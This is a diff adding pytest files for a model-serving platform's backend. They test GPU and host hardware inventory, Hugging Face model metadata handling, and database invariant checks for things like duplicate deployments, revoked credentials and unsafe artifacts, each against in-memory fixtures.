+def test_nvml_unavailable_is_graceful_and_does_not_shutdown_uninitialized() -> None:
+    api = FakeNvml(init_error=True)
+    result = NvidiaNvmlCollector(api).collect()
+    assert result.availability is Availability.UNAVAILABLE
+    assert result.inventory == []
+    assert api.shutdown_calls == 0
+
+
+def test_zero_one_and_multiple_gpus_and_cleanup() -> None:
+    zero_api = FakeNvml(count=0)
+    assert NvidiaNvmlCollector(zero_api).collect().inventory == []
+    assert zero_api.shutdown_calls == 1
+    one = NvidiaNvmlCollector(FakeNvml(count=1)).collect()
+    assert one.inventory[0].device_uuid == "GPU-0"
+    assert one.inventory[0].total_vram_bytes.value == 16 * 1024**3
+    multiple = NvidiaNvmlCollector(FakeNvml(count=2)).collect()
+    assert [item.device_uuid for item in multiple.inventory] == ["GPU-0", "GPU-1"]
+
+
+def test_optional_metric_unsupported_and_individual_device_failure_are_isolated() -> None:
+    result = NvidiaNvmlCollector(FakeNvml(count=1, unsupported_power=True)).collect()
+    assert result.telemetry[0].power_draw_w.availability is Availability.UNSUPPORTED
+    degraded = NvidiaNvmlCollector(FakeNvml(count=2, device_error=1)).collect()
+    assert degraded.availability is Availability.TEMPORARILY_FAILED
+    assert len(degraded.inventory) == 1
+
+
+def test_host_inventory_and_persisted_node_identity(tmp_path: Path) -> None:
+    identity_file = tmp_path / "node-id"
+    provider = NodeIdentityProvider(identity_file, explicit_identity="stable-node")
+    collector = SystemHostCollector(provider, {"artifacts": tmp_path})
+    result = collector.collect()
+    assert result.identity_key == "stable-node"
+    assert result.total_ram_bytes.value and result.total_ram_bytes.value > 0
+    assert result.logical_cpu_count.value and result.logical_cpu_count.value > 0
+    assert result.storage[0].free_bytes.value is not None
+
+
+def test_generated_node_identity_is_stable(monkeypatch, tmp_path: Path) -> None:
+    monkeypatch.setattr(NodeIdentityProvider, "_system_machine_id", staticmethod(lambda: None))
+    provider = NodeIdentityProvider(tmp_path / "node-id")
+    first = provider.resolve()
+    second = NodeIdentityProvider(tmp_path / "node-id").resolve()
+    assert first == second

backend/tests/test_hardware_polling.py

@@ -0,0 +1,18 @@
+import asyncio
+
+from modelforge_api.services.hardware_polling import HardwarePollingService
+from modelforge_api.settings import Settings
+
+
+def test_polling_collects_once_and_stops_cleanly(monkeypatch) -> None:
+    polling = HardwarePollingService(Settings(hardware_poll_interval_seconds=5))
+    calls = 0
+
+    def refresh_once() -> None:
+        nonlocal calls
+        calls += 1
+        polling.stop()
+
+    monkeypatch.setattr(polling, "_refresh_once", refresh_once)
+    asyncio.run(polling.run())
+    assert calls == 1

backend/tests/test_hardware_reconciliation.py

@@ -0,0 +1,90 @@
+import pytest
+from hardware_fakes import FakeAcceleratorCollector, FakeHostCollector, accelerator
+from sqlalchemy import create_engine, select
+from sqlalchemy.orm import Session
+
+from modelforge_api.domain.enums import Availability, HardwareStatus
+from modelforge_api.domain.hardware import HardwareSnapshot
+from modelforge_api.persistence.models import (
+    Accelerator,
+    AuditEvent,
+    Base,
+    ComputeNode,
+    HardwareInventoryRun,
+)
+from modelforge_api.services.hardware_inventory import HardwareInventoryService
+
+
+def service(session: Session, devices=None, availability=Availability.KNOWN, utilization=25):
+    return HardwareInventoryService(
+        session, FakeHostCollector(), FakeAcceleratorCollector(devices, availability, utilization)
+    )
+
+
+def test_initial_creation_repeat_rediscovery_missing_and_return() -> None:
+    engine = create_engine("sqlite+pysqlite:///:memory:")
+    Base.metadata.create_all(engine)
+    with Session(engine) as session:
+        first = service(session, [accelerator()]).refresh()
+        assert first.overview.node_count == 1 and first.overview.accelerator_count == 1
+        service(session, [accelerator()]).refresh()
+        assert len(list(session.scalars(select(ComputeNode)))) == 1
+        assert len(list(session.scalars(select(Accelerator)))) == 1
+        missing = service(session, []).refresh().nodes[0].accelerators[0]
+        assert missing.status is HardwareStatus.MISSING
+        returned = service(session, [accelerator()]).refresh().nodes[0].accelerators[0]
+        assert returned.status is HardwareStatus.ACTIVE
+        assert len(list(session.scalars(select(Accelerator)))) == 1
+        actions = [event.action for event in session.scalars(select(AuditEvent))]
+        assert actions.count("ACCELERATOR_DISCOVERED") == 1
+        assert "ACCELERATOR_MISSING" in actions
+
+
+def test_failed_enumeration_does_not_mark_known_gpu_missing() -> None:
+    engine = create_engine("sqlite+pysqlite:///:memory:")
+    Base.metadata.create_all(engine)
+    with Session(engine) as session:
+        service(session, [accelerator()]).refresh()
+        state = service(session, [], Availability.UNAVAILABLE).refresh()
+        assert state.nodes[0].accelerators[0].status is HardwareStatus.ACTIVE
+        assert state.overview.inventory_state is HardwareStatus.DEGRADED
+
+
+def test_collector_failure_is_persisted_and_audited() -> None:
+    class FailingHostCollector:
+        def collect(self):
+            raise RuntimeError("host probe failed")
+
+    engine = create_engine("sqlite+pysqlite:///:memory:")
+    Base.metadata.create_all(engine)
+    with Session(engine) as session:
+        inventory = HardwareInventoryService(
+            session, FailingHostCollector(), FakeAcceleratorCollector([])
+        )
+        with pytest.raises(RuntimeError, match="host probe failed"):
+            inventory.refresh()
+        run = session.scalar(select(HardwareInventoryRun))
+        event = session.scalar(select(AuditEvent))
+        assert run is not None and run.status == "failed"
+        assert run.error == "RuntimeError: host probe failed"
+        assert event is not None and event.action == "INVENTORY_FAILED"
+
+
+def test_fingerprint_determinism_ignores_telemetry_and_changes_for_driver() -> None:
+    host = FakeHostCollector().collect()
+    first = HardwareSnapshot(
+        host=host, nvidia=FakeAcceleratorCollector([accelerator()], utilization=1).collect()
+    )
+    telemetry_changed = HardwareSnapshot(
+        host=host, nvidia=FakeAcceleratorCollector([accelerator()], utilization=99).collect()
+    )
+    driver_changed_device = accelerator().model_copy(
+        update={
+            "driver_version": accelerator().driver_version.model_copy(update={"value": "601.0"})
+        }
+    )
+    driver_changed = HardwareSnapshot(
+        host=host, nvidia=FakeAcceleratorCollector([driver_changed_device]).collect()
+    )
+    assert first.fingerprint == telemetry_changed.fingerprint
+    assert first.fingerprint != driver_changed.fingerprint

backend/tests/test_huggingface_provider.py

@@ -0,0 +1,140 @@
+from __future__ import annotations
+
+import os
+from datetime import UTC, datetime
+from types import SimpleNamespace
+
+import httpx
+import pytest
+from huggingface_hub.errors import (
+    GatedRepoError,
+    RepositoryNotFoundError,
+    RevisionNotFoundError,
+)
+
+from modelforge_api.providers.huggingface import (
+    HuggingFaceGated,
+    HuggingFaceNotFound,
+    HuggingFaceRevisionNotFound,
+    HuggingFaceUnavailable,
+    OfficialHuggingFaceProvider,
+    classify_file,
+)
+
+
+def response(status: int = 404) -> httpx.Response:
+    request = httpx.Request("GET", "https://huggingface.co/api/models/org/model")
+    return httpx.Response(status, request=request)
+
+
+def test_search_uses_official_client_and_preserves_unknowns() -> None:
+    provider = OfficialHuggingFaceProvider()
+    calls: dict = {}
+
+    def list_models(**kwargs):
+        calls.update(kwargs)
+        return [
+            SimpleNamespace(
+                id="org/model",
+                sha="a" * 40,
+                gated=False,
+                private=False,
+                pipeline_tag=None,
+                library_name=None,
+                tags=None,
+                downloads=3,
+                likes=1,
+                last_modified=datetime.now(UTC),
+            )
+        ]
+
+    provider.api.list_models = list_models  # type: ignore[method-assign]
+    result = provider.search("model", limit=5, sort="likes", pipeline_tag=None)
+    assert result[0]["repository_id"] == "org/model"
+    assert result[0]["pipeline_tag"] is None
+    assert calls["search"] == "model" and calls["full"] is True
+
+
+def test_snapshot_resolves_sha_inventory_card_and_scanner_evidence() -> None:
+    provider = OfficialHuggingFaceProvider()
+    provider.api.model_info = lambda *args, **kwargs: SimpleNamespace(  # type: ignore[method-assign]
+        id="org/model",
+        sha="b" * 40,
+        gated=False,
+        private=False,
+        author="org",
+        pipeline_tag="feature-extraction",
+        library_name="transformers",
+        tags=["safetensors"],
+        downloads=10,
+        likes=2,
+        card_data={"license": "apache-2.0"},
+        security_repo_status={"status": "safe"},
+        last_modified=datetime.now(UTC),
+        siblings=[
+            SimpleNamespace(
+                rfilename="model.safetensors",
+                size=12,
+                blob_id="blob",
+                lfs={"sha256": "c" * 64, "size": 12, "pointer_size": 128},
+            )
+        ],
+    )
+    snapshot = provider.snapshot("org/model", "main")
+    assert snapshot.resolved_commit_sha == "b" * 40
+    assert snapshot.files[0].upstream_sha256 == "c" * 64
+    assert snapshot.card_metadata["license"] == "apache-2.0"
+    assert snapshot.security_metadata["evidence_only"] is True
+
+
+@pytest.mark.parametrize(
+    ("error", "expected"),
+    [
+        (GatedRepoError("gated", response=response(403)), HuggingFaceGated),
+        (RevisionNotFoundError("revision", response=response()), HuggingFaceRevisionNotFound),
+        (RepositoryNotFoundError("missing", response=response()), HuggingFaceNotFound),
+        (httpx.ReadTimeout("timeout", request=response().request), HuggingFaceUnavailable),
+    ],
+)
+def test_snapshot_normalizes_provider_failures(error: Exception, expected: type[Exception]) -> None:
+    provider = OfficialHuggingFaceProvider()
+
+    def fail(*_args, **_kwargs):
+        raise error
+
+    provider.api.model_info = fail  # type: ignore[method-assign]
+    with pytest.raises(expected):
+        provider.snapshot("org/model", "main")
+
+
+def test_missing_exact_sha_fails_closed() -> None:
+    provider = OfficialHuggingFaceProvider()
+    provider.api.model_info = lambda *args, **kwargs: SimpleNamespace(  # type: ignore[method-assign]
+        id="org/model",
+        sha=None,
+        gated=False,
+        private=False,
+        siblings=[],
+        card_data=None,
+        security_repo_status=None,
+        last_modified=None,
+    )
+    with pytest.raises(HuggingFaceUnavailable, match="exact commit"):
+        provider.snapshot("org/model", "main")
+
+
+def test_file_classification_exposes_pickle_remote_code_and_unknown() -> None:
+    assert classify_file("model.safetensors") == ("safetensors", "weights", ())
+    assert "pickle_or_executable_serialization" in classify_file("weights.bin")[2]
+    assert classify_file("modeling_custom.py")[2] == ("remote_code",)
+    assert classify_file("LICENSE")[0] == "unknown"
+
+
+@pytest.mark.skipif(
+    os.getenv("MODELFORGE_RUN_LIVE_HF_TESTS") != "1",
+    reason="opt-in live Hub test; offline release gate uses deterministic provider tests",
+)
+def test_live_public_metadata_smoke() -> None:
+    snapshot = OfficialHuggingFaceProvider(timeout=30).snapshot("Qwen/Qwen3-Embedding-0.6B", "main")
+    assert len(snapshot.resolved_commit_sha) >= 40
+    assert snapshot.files

backend/tests/test_invariants_m16.py

@@ -0,0 +1,760 @@
+"""M16 invariant tests.
+
+An invariant check that never fires is worse than none: it reports safety it did not verify. Each
+check therefore has a negative case that constructs the violation and proves the check detects it.
+"""
+
+from __future__ import annotations
+
+import uuid
+from datetime import UTC, datetime, timedelta
+
+import pytest
+from sqlalchemy import create_engine
+from sqlalchemy import text as sa_text
+from sqlalchemy.engine import Engine
+from sqlalchemy.exc import IntegrityError
+from sqlalchemy.orm import Session
+
+from modelforge_api.domain.audit import AUDIT_HASH_FORMAT_V1
+from modelforge_api.persistence.models import (
+    Accelerator,
+    ArtifactLocation,
+    ArtifactSet,
+    AuditEvent,
+    BackupSet,
+    Base,
+    Capability,
+    CapabilityContract,
+    CapabilityDeployment,
+    ComputeNode,
+    EmbeddingSpace,
+    LifecycleApprovalRequest,
+    LifecycleOperation,
+    LifecyclePolicyRevision,
+    LifecyclePromotionPlan,
+    LifecycleSubject,
+    MigrationCutoverOperation,
+    Model,
+    ModelArtifact,
+    ModelRevision,
+    NodeCredential,
+    RecoveryPolicyRevision,
+    ResidencyAllocation,
+    RestorePlan,
+    RuntimeProfile,
+    ServiceClient,
+    ServiceCredential,
+    ServingGpuLease,
+    ServingJob,
+    StorageRoot,
+    UpstreamSnapshot,
+)
+from modelforge_api.services.audit import AuditWriter
+from modelforge_api.services.invariants import (
+    CHECKS,
+    InvariantStatus,
+    check_invariants,
+    invariant_keys,
+    summarise,
+)
+
+
+@pytest.fixture
+def session() -> Session:
+    engine = create_engine("sqlite+pysqlite:///:memory:")
+    Base.metadata.create_all(engine)
+    with Session(engine) as value:
+        yield value
+
+
+def _now() -> datetime:
+    return datetime.now(UTC)
+
+
+
+def drop_guard(session: Session, index_name: str) -> None:
+    """Remove one protective index on the in-memory test database.
+
+    Several invariants are also enforced by a partial unique index, which is the right primary
+    defence. The invariant exists as defence in depth for the case where that guard is bypassed —
+    a hand-edited database, a bad migration, a restore from an older schema — so the negative test
+    has to remove the guard to reach the code path it is meant to cover.
+    """
+
+    session.commit()
+    session.execute(sa_text(f"DROP INDEX IF EXISTS {index_name}"))
+    session.commit()
+
+
+def violated(session: Session, key: str) -> bool:
+    report = check_invariants(session)
+    result = next(item for item in report.results if item.key == key)
+    return result.status is InvariantStatus.VIOLATED
+
+
+# --------------------------------------------------------------------- framework
+
+
+def test_an_empty_platform_violates_nothing(session: Session) -> None:
+    report = check_invariants(session)
+    assert report.checked == 16
+    assert report.violated == 0
+    assert report.holding == 16
+    assert report.ok is True
+    assert summarise(report)["violations"] == []
+
+
+def test_every_declared_invariant_key_is_actually_checked(session: Session) -> None:
+    report = check_invariants(session)
+    assert {item.key for item in report.results} == set(invariant_keys())
+    assert len(CHECKS) == len(invariant_keys())
+    assert len({item.key for item in report.results}) == len(report.results)
+
+
+def test_invariants_never_mutate_state(session: Session) -> None:
+    """A safety check that writes is a safety check that can cause the incident it looks for."""
+
+    session.add(ComputeNode(key="gpu_node", hostname="gpu_node"))
+    session.commit()
+    before = session.query(ComputeNode).count()
+    check_invariants(session)
+    check_invariants(session)
+    assert session.query(ComputeNode).count() == before
+    assert not session.dirty and not session.new and not session.deleted
+
+
+# --------------------------------------------------------------------- fixtures
+
+
+def contract(session: Session, key: str = "rag.embedding") -> CapabilityContract:
+    capability = Capability(key=key, description=key)
+    session.add(capability)
+    session.flush()
+    record = CapabilityContract(
+        capability_id=capability.id,
+        version=1,
+        input_schema={},
+        output_schema={},
+        contract={},
+        upgrade_class="behavioral",
+    )
+    session.add(record)
+    session.flush()
+    return record
+
+
+def deployment(
+    session: Session,
+    contract_id: uuid.UUID,
+    *,
+    production: bool = True,
+    status: str = "stable",
+    artifact_set_id: uuid.UUID | None = None,
+    embedding_space_id: uuid.UUID | None = None,
+    approval: uuid.UUID | None = None,
+) -> CapabilityDeployment:
+    record = CapabilityDeployment(
+        capability_contract_id=contract_id,
+        deployment_candidate_id=uuid.uuid4(),
+        production=production,
+        status=status,
+        channel="stable",
+        artifact_set_id=artifact_set_id or uuid.uuid4(),
+        runtime_profile_id=uuid.uuid4(),
+        compute_node_id=uuid.uuid4(),
+        accelerator_id=uuid.uuid4(),
+        embedding_space_id=embedding_space_id,
+        production_approval_id=approval or uuid.uuid4(),
+        health_status="ready_on_demand",
+        config_fingerprint=uuid.uuid4().hex * 2,
+        provenance={},
+    )
+    session.add(record)
+    session.flush()
+    return record
+
+
+# --------------------------------------------------------------------- negative cases
+
+
+def test_the_schema_refuses_a_second_stable_production_deployment(session: Session) -> None:
+    record = contract(session)
+    deployment(session, record.id)
+    session.commit()
+    assert not violated(session, "single_production_stable")
+
+    with pytest.raises(IntegrityError):
+        deployment(session, record.id)
+    session.rollback()
+
+
+def test_a_second_stable_production_deployment_is_detected_if_the_guard_is_bypassed(
+    session: Session,
+) -> None:
+    record = contract(session)
+    deployment(session, record.id)
+    session.commit()
+    drop_guard(session, "uq_capability_deployment_one_production_stable")
+
+    deployment(session, record.id)
+    session.commit()
+    assert violated(session, "single_production_stable")
+
+
+def test_two_stable_artifact_sets_for_one_contract_are_detected(session: Session) -> None:
+    record = contract(session)
+    first = deployment(session, record.id)
+    session.commit()
+    assert not violated(session, "stable_identity_is_singular")
+    drop_guard(session, "uq_capability_deployment_one_production_stable")
+
+    deployment(session, record.id, artifact_set_id=uuid.uuid4())
+    session.commit()
+    assert violated(session, "stable_identity_is_singular")
+    assert first.artifact_set_id is not None
+
+
+def test_two_enabled_nodes_sharing_hardware_are_detected(session: Session) -> None:
+    session.add(ComputeNode(key="node-a", hostname="gpu_node", hardware_fingerprint="a" * 64))
+    session.commit()
+    assert not violated(session, "single_node_identity")
+
+    session.add(ComputeNode(key="node-b", hostname="gpu_node", hardware_fingerprint="a" * 64))
+    session.commit()
+    assert violated(session, "single_node_identity")
+
+
+def test_a_disabled_duplicate_node_is_not_a_violation(session: Session) -> None:
+    """Superseding a node by disabling it is the documented recovery, not a violation."""
+
+    session.add(ComputeNode(key="node-a", hostname="gpu_node", hardware_fingerprint="a" * 64))
+    session.add(
+        ComputeNode(
+            key="node-b", hostname="gpu_node", hardware_fingerprint="a" * 64, enabled=False
+        )
+    )
+    session.commit()
+    assert not violated(session, "single_node_identity")
+
+
+def test_the_schema_refuses_a_second_active_node_credential(session: Session) -> None:
+    node = ComputeNode(key="gpu_node", hostname="gpu_node")
+    session.add(node)
+    session.flush()
+    session.add(NodeCredential(compute_node_id=node.id, secret_hash="a" * 64))
+    session.commit()
+    assert not violated(session, "single_active_node_credential")
+
+    session.add(NodeCredential(compute_node_id=node.id, secret_hash="b" * 64))
+    with pytest.raises(IntegrityError):
+        session.flush()
+    session.rollback()
+
+
+def test_a_second_active_node_credential_is_detected_if_the_guard_is_bypassed(
+    session: Session,
+) -> None:
+    node = ComputeNode(key="gpu_node", hostname="gpu_node")
+    session.add(node)
+    session.flush()
+    session.add(NodeCredential(compute_node_id=node.id, secret_hash="a" * 64))
+    session.commit()
+    drop_guard(session, "uq_active_node_credential")
+
+    session.add(NodeCredential(compute_node_id=node.id, secret_hash="b" * 64))
+    session.commit()
+    assert violated(session, "single_active_node_credential")
+
+
+def test_an_expired_but_active_gpu_lease_is_detected(session: Session) -> None:
+    node = ComputeNode(key="gpu_node", hostname="gpu_node")
+    session.add(node)
+    session.flush()
+    accelerator = Accelerator(
+        compute_node_id=node.id, device_index=0, device_uuid="GPU-1", name="RTX"
+    )
+    session.add(accelerator)
+    session.flush()
+    lease = ServingGpuLease(
+        accelerator_id=accelerator.id,
+        capability_deployment_id=uuid.uuid4(),
+        request_id=uuid.uuid4(),
+        reserved_vram_bytes=1024,
+        priority="production",
+        state="active",
+        owner="test",
+        lease_type="request",
+        expires_at=_now() + timedelta(minutes=5),
+        generation=1,
+    )
+    session.add(lease)
+    session.commit()
+    assert not violated(session, "no_stale_gpu_lease")
+
+    lease.expires_at = _now() - timedelta(minutes=5)
+    session.commit()
+    assert violated(session, "no_stale_gpu_lease")
+
+
+def test_a_released_expired_lease_is_not_a_violation(session: Session) -> None:
+    node = ComputeNode(key="gpu_node", hostname="gpu_node")
+    session.add(node)
+    session.flush()
+    accelerator = Accelerator(
+        compute_node_id=node.id, device_index=0, device_uuid="GPU-1", name="RTX"
+    )
+    session.add(accelerator)
+    session.flush()
+    session.add(
+        ServingGpuLease(
+            accelerator_id=accelerator.id,
+            capability_deployment_id=uuid.uuid4(),
+            request_id=uuid.uuid4(),
+            reserved_vram_bytes=1024,
+            priority="production",
+            state="released",
+            owner="test",
+            lease_type="request",
+            expires_at=_now() - timedelta(hours=2),
+            released_at=_now() - timedelta(hours=2),
+            generation=1,
+        )
+    )
+    session.commit()
+    assert not violated(session, "no_stale_gpu_lease")
+
+
+def test_two_embedding_spaces_in_stable_production_are_detected(session: Session) -> None:
+    record = contract(session)
+    first = EmbeddingSpace(
+        capability_contract_id=record.id,
+        artifact_set_id=uuid.uuid4(),
+        runtime_profile_id=uuid.uuid4(),
+        identity_digest="a" * 64,
+        dimension=1024,
+        normalized=True,
+        migration_class="requires_reindex",
+        identity_facts={},
+        immutable_at=_now(),
+    )
+    second = EmbeddingSpace(
+        capability_contract_id=record.id,
+        artifact_set_id=uuid.uuid4(),
+        runtime_profile_id=uuid.uuid4(),
+        identity_digest="b" * 64,
+        dimension=1024,
+        normalized=True,
+        migration_class="requires_reindex",
+        identity_facts={},
+        immutable_at=_now(),
+    )
+    session.add_all([first, second])
+    session.flush()
+    shared = uuid.uuid4()
+    deployment(session, record.id, embedding_space_id=first.id, artifact_set_id=shared)
+    session.commit()
+    assert not violated(session, "no_mixed_embedding_space")
+    drop_guard(session, "uq_capability_deployment_one_production_stable")
+
+    deployment(session, record.id, embedding_space_id=second.id, artifact_set_id=shared)
+    session.commit()
+    assert violated(session, "no_mixed_embedding_space")
+
+
+def lifecycle_operation(session: Session, *, stage: str, approver: str = "approver") -> LifecycleOperation:
+    subject = LifecycleSubject(
+        target_type="LAB_REHEARSAL", target_ref="test", environment="LAB", state="LAB_READY"
+    )
+    session.add(subject)
+    session.flush()
+    policy = LifecyclePolicyRevision(
+        key="test",
+        revision=1,
+        scope="LAB",
+        requirements={},
+        fingerprint=uuid.uuid4().hex,
+        created_by="test",
+    )
+    session.add(policy)
+    session.flush()
+    approval = LifecycleApprovalRequest(
+        policy_revision_id=policy.id,
+        subject_id=subject.id,
+        target_type="LAB_REHEARSAL",
+        target_ref="test",
+        environment="LAB",
+        requested_transition="LAB_STABLE",
+        evidence_snapshot={},
+        evidence_fingerprint="c" * 64,
+        status="APPROVED",
+        requested_by="test",
+        reason="invariant regression fixture",
+    )
+    session.add(approval)
+    session.flush()
+    plan = LifecyclePromotionPlan(
+        approval_request_id=approval.id,
+        subject_id=subject.id,
+        current_state="LAB_READY",
+        desired_state="LAB_STABLE",
+        migration_class="behavioral",
+        rollback_target_ref="test",
+        project_consumers=[],
+        affected_identities={},
+        impact_analysis={},
+        canary_strategy={},
+        drain_strategy={},
+        health_gates={},
+        automatic_abort_conditions=[],
+        plan_fingerprint=uuid.uuid4().hex,
+        status="APPROVED",
+        created_by="test",
+        immutable_at=_now(),
+    )
+    session.add(plan)
+    session.flush()
+    operation = LifecycleOperation(
+        promotion_plan_id=plan.id,
+        stage=stage,
+        idempotency_key=uuid.uuid4().hex,
+        expected_subject_version=1,
+        requester="test",
+        approver=approver,
+        executor="test",
+    )
+    session.add(operation)
+    session.flush()
+    return operation
+
+
+def test_a_lifecycle_commit_without_an_approver_is_detected(session: Session) -> None:
+    operation = lifecycle_operation(session, stage="COMMITTED")
+    session.commit()
+    assert not violated(session, "lifecycle_commit_has_evidence")
+
+    operation.approver = ""
+    session.commit()
+    assert violated(session, "lifecycle_commit_has_evidence")
+
+
+def test_a_cutover_commit_without_external_truth_is_detected(session: Session) -> None:
+    cutover = MigrationCutoverOperation(
+        migration_plan_id=uuid.uuid4(),
+        stage="COMMITTED",
+        idempotency_key=uuid.uuid4().hex,
+        generation=1,
+        expected_plan_version=1,
+        source_before="source",
+        target_after="target",
+        external_state_fingerprint="d" * 64,
+    )
+    session.add(cutover)
+    session.commit()
+    assert not violated(session, "cutover_commit_has_validation")
+
+    cutover.external_state_fingerprint = ""
+    session.commit()
+    assert violated(session, "cutover_commit_has_validation")
+
+
+def test_a_restore_plan_against_an_unverified_backup_is_detected(session: Session) -> None:
+    policy = RecoveryPolicyRevision(
+        key="control-plane.database",
+        revision=1,
+        name="db",
+        asset_class="AUTHORITATIVE",
+        backup_method="POSTGRES_LOGICAL_CUSTOM",
+        retention_days=30,
+        minimum_verified_backups=1,
+        restore_verification="FULL_RESTORE",
+        rationale="test recovery policy",
+        fingerprint=uuid.uuid4().hex,
+        created_by="test",
+    )
+    session.add(policy)
+    session.flush()
+    backup = BackupSet(
+        backup_id="test-backup",
+        state="VERIFIED",
+        policy_revision_id=policy.id,
+        modelforge_version="0.1.0",
+        destination_root="/data/backups",
+        environment_fingerprint={},
+        database_identity={},
+        included_asset_classes=[],
+        excluded_asset_classes=[],
+        verification_details={},
+        reason="test",
+        created_by="test",
+    )
+    session.add(backup)
+    session.flush()
+    plan = RestorePlan(
+        backup_set_id=backup.id,
+        mode="VALIDATION",
+        target_environment="ISOLATED",
+        target_label="test",
+        database_destination="postgresql+psycopg://u:p@h:5432/d",
+        artifact_strategy="NONE",
+        secret_strategy="ROTATE",  # noqa: S106 - a recovery strategy name, not a secret
+        node_strategy="NONE",
+        preflight={},
+        validation_requirements={},
+        fingerprint=uuid.uuid4().hex,
+        reason="test",
+        created_by="test",
+    )
+    session.add(plan)
+    session.commit()
+    assert not violated(session, "restore_requires_verified_backup")
+
+    backup.state = "CREATED"
+    session.commit()
+    assert violated(session, "restore_requires_verified_backup")
+
+
+def test_a_credential_used_after_revocation_is_detected(session: Session) -> None:
+    node = ComputeNode(key="gpu_node", hostname="gpu_node")
+    session.add(node)
+    session.flush()
+    credential = NodeCredential(
+        compute_node_id=node.id,
+        secret_hash="a" * 64,
+        revoked_at=_now() - timedelta(minutes=10),
+        last_used_at=_now() - timedelta(minutes=20),
+    )
+    session.add(credential)
+    session.commit()
+    assert not violated(session, "revoked_credentials_stay_revoked")
+
+    credential.last_used_at = _now()
+    session.commit()
+    assert violated(session, "revoked_credentials_stay_revoked")
+
+
+def test_a_service_credential_used_after_revocation_is_detected(session: Session) -> None:
+    client = ServiceClient(
+        name="test-client",
+        allowed_capabilities=["rag.embedding@1"],
+        requests_per_minute=60,
+        max_concurrent_requests=2,
+        workload_priority="production",
+        integration_environment="LAB",
+        purpose="test",
+    )
+    session.add(client)
+    session.flush()
+    credential = ServiceCredential(
+        service_client_id=client.id,
+        secret_hash="a" * 64,
+        secret_prefix="mfsvc_",  # noqa: S106 - a non-secret credential prefix
+        revoked_at=_now() - timedelta(minutes=10),
+        last_used_at=_now(),
+    )
+    session.add(credential)
+    session.commit()
+    assert violated(session, "revoked_credentials_stay_revoked")
+
+
+def test_a_capability_client_claiming_operator_scope_is_detected(session: Session) -> None:
+    client = ServiceClient(
+        name="test-client",
+        allowed_capabilities=["rag.embedding@1"],
+        requests_per_minute=60,
+        max_concurrent_requests=2,
+        workload_priority="production",
+        integration_environment="LAB",
+        purpose="test",
+    )
+    session.add(client)
+    session.commit()
+    assert not violated(session, "capability_clients_are_not_operators")
+
+    client.allowed_capabilities = ["rag.embedding@1", "admin.recovery"]
+    session.commit()
+    assert violated(session, "capability_clients_are_not_operators")
+
+
+@pytest.mark.parametrize("scope", ["admin.lifecycle", "operator", "node.publish", "recovery"])
+def test_every_forbidden_client_scope_is_rejected(session: Session, scope: str) -> None:
+    client = ServiceClient(
+        name="test-client",
+        allowed_capabilities=[scope],
+        requests_per_minute=60,
+        max_concurrent_requests=2,
+        workload_priority="production",
+        integration_environment="LAB",
+        purpose="test",
+    )
+    session.add(client)
+    session.commit()
+    assert violated(session, "capability_clients_are_not_operators")
+
+
+def test_an_unsafe_artifact_in_a_verified_location_is_detected(session: Session) -> None:
+    model = Model(
+        key="m", display_name="M", upstream_provider="huggingface", upstream_source="org/model"
+    )
+    session.add(model)
+    session.flush()
+    revision = ModelRevision(
+        model_id=model.id, upstream_revision="main", resolved_commit_sha="a" * 40
+    )
+    session.add(revision)
+    session.flush()
+    artifact = ModelArtifact(
+        revision_id=revision.id,
+        filename="model.safetensors",
+        artifact_type="weights",
+        serialization_format="safetensors",
+        sha256="b" * 64,
+        size_bytes=1024,
+        security_status="verified",
+    )
+    session.add(artifact)
+    node = ComputeNode(key="gpu_node", hostname="gpu_node")
+    session.add(node)
+    session.flush()
+    root = StorageRoot(compute_node_id=node.id, name="root", path="/mnt/models")
+    session.add(root)
+    session.flush()
+    location = ArtifactLocation(
+        artifact_id=artifact.id,
+        storage_root_id=root.id,
+        relative_path="model.safetensors",
+        status="verified",
+    )
+    session.add(location)
+    session.commit()
+    assert not violated(session, "no_unsafe_artifact_promoted")
+
+    artifact.security_status = "blocked"
+    session.commit()
+    assert violated(session, "no_unsafe_artifact_promoted")
+
+
+def test_an_orphaned_serving_job_is_detected(session: Session) -> None:
+    node = ComputeNode(key="gpu_node", hostname="gpu_node")
+    session.add(node)
+    session.flush()
+    job = ServingJob(
+        capability_deployment_id=uuid.uuid4(),
+        compute_node_id=node.id,
+        operation="invoke",
+        status="leased",
+        priority="production",
+        idempotency_key=uuid.uuid4().hex,
+        lease_expires_at=_now() + timedelta(minutes=2),
+    )
+    session.add(job)
+    session.commit()
+    assert not violated(session, "no_orphan_serving_work")
+
+    job.lease_expires_at = _now() - timedelta(minutes=2)
+    session.commit()
+    assert violated(session, "no_orphan_serving_work")
+
+
+def test_a_residency_allocation_on_a_disabled_node_is_detected(session: Session) -> None:
+    node = ComputeNode(key="gpu_node", hostname="gpu_node")
+    session.add(node)
+    session.flush()
+    allocation = ResidencyAllocation(
+        capability_deployment_id=uuid.uuid4(),
+        compute_node_id=node.id,
+        accelerator_id=uuid.uuid4(),
+        state="resident",
+        health="healthy",
+        generation=1,
+    )
+    session.add(allocation)
+    session.commit()
+    assert not violated(session, "no_orphan_serving_work")
+
+    node.enabled = False
+    session.commit()
+    assert violated(session, "no_orphan_serving_work")
+
+
+def test_a_production_deployment_without_an_approval_is_detected(session: Session) -> None:
+    record = contract(session)
+    item = deployment(session, record.id)
+    session.commit()
+    assert not violated(session, "no_hidden_auto_promotion")
+
+    item.production_approval_id = None
+    session.commit()
+    assert violated(session, "no_hidden_auto_promotion")
+
+
+def test_a_duplicated_audit_sequence_is_detected(session: Session) -> None:
+    writer = AuditWriter(session, "test", "test")
+    writer.write("TEST", "test", None, {})
+    writer.write("TEST", "test", None, {})
+    session.commit()
+    assert not violated(session, "audit_chain_intact")
+    drop_guard(session, "ix_audit_events_sequence")
+
+    session.commit()
+    engine = session.get_bind()
+    assert isinstance(engine, Engine)
+    with engine.begin() as connection:
+        connection.execute(
+            AuditEvent.__table__.insert().values(
+                correlation_id=str(uuid.uuid4()),
+                actor_type="test",
+                actor_id="test",
+                action="TEST",
+                resource_type="test",
+                outcome="success",
+                details={},
+                event_hash=uuid.uuid4().hex + uuid.uuid4().hex,
+                hash_format=AUDIT_HASH_FORMAT_V1,
+                sequence=2,
+            )
+        )
+    session.commit()
+    assert violated(session, "audit_chain_intact")
+
+
+def test_a_resurrected_decommissioned_node_is_detected(session: Session) -> None:
+    session.add(
+        ComputeNode(
+            key="decommissioned-invariant-test",
+            hostname="disposable-invariant-test",
+            enabled=True,
+            status="active",
+            liveness_state="online",
+            decommissioned_at=_now(),
+            production_eligible=True,
+            inventory={"unexpected": "current state"},
+        )
+    )
+    session.commit()
